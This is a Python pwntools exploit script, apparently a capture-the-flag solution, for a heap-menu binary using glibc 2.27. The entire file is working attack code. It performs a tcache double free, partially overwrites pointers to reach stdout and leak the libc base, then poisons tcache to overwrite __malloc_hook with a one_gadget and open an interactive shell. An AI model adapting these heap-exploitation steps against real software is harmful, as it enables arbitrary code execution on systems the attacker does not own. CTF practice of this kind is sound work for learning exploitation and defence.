#!/usr/bin/python
#-*-coding:utf8-*-
from pwn import *
libc = ELF('./libc-2.27.so')
context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
#context.log_level = 'debug'

def Add(index, size, content, p):
    p.sendlineafter('Your choice :', '1')
    p.sendlineafter('id:', str(index))
    p.sendlineafter('size:', str(size))
    p.sendafter('content:', content)

def Edit(index, content, p):
    p.sendlineafter('Your choice :', '2')
    p.sendlineafter('id:', str(index))
    p.sendafter('content:', content)

def Delete(index, p):
    p.sendlineafter('Your choice :', '3')
    p.sendlineafter('id:', str(index))

def pwn():
    p = process('./pwn')
    Add(0, 0x80, 'A'*0x10, p)
    Add(1, 0x80, 'A'*0x10, p)
    Add(2, 0x80, 'A'*0x10, p)
    Add(3, 0x80, 'A'*0x10, p)
    Add(4, 0x80, 'A'*0x10, p)
    Add(5, 0x80, 'A'*0x10, p)
    Add(6, 0x80, 'A'*0x10, p)
    Add(7, 0x80, 'A'*0x10, p)
    Add(8, 0x80, 'A'*0x10, p)
    Add(9, 0x80, 'A'*0x10, p)
    Delete(0, p)
    Delete(1, p)
    Delete(2, p)
    Delete(3, p)
    Delete(4, p)
    Delete(5, p)
    Delete(0, p)
    Delete(0, p)

    Edit(0, '\x88\xfa', p)
    Add(10, 0x80, 'A'*0x10, p)
    Add(11, 0x80, 'A'*0x10, p)

    Delete(2, p)


    # 改写fd指针，使其指向stdout
    Edit(2, '\x60\x07', p)
    Add(12, 0x80, 'A'*0x10, p)

    try:
        Add(13, 0x80, p64(0xfbad1800) + p64(0)*3 + '\x00', p)
        libc_base = u64(p.recvuntil('\x7f')[-6:] + '\x00\x00') - 0x3ed8b0
        info("libc_base ==> " + hex(libc_base))
        libc.address = libc_base
    except:
        p.close()
        return 0
    if (libc_base >> 40) != 0x7f:
        return 0

    malloc_hook = libc.symbols['__malloc_hook']
    info("malloc_hook ==> " + hex(malloc_hook))
    realloc = libc.symbols['__libc_realloc']
    malloc = libc.symbols['__libc_malloc']
    a = [0x4f365, 0x4f3c2, 0x10a45c]
    one_gadget = libc_base + a[2]

    Delete(0, p)
    Edit(0, p64(malloc_hook-0x8), p)
    Add(14, 0x80, 'A'*0x10, p)
    Add(15, 0x80,p64(one_gadget) + p64(realloc+0x6), p)
    p.sendlineafter('Your choice :', '1')
    p.sendlineafter('id:', '16')
    p.sendlineafter('size:', str(0x80))
    p.interactive()
    p.close()
    return 1

if __name__ == '__main__':
    while True:
        a = pwn()
        if a:
            break
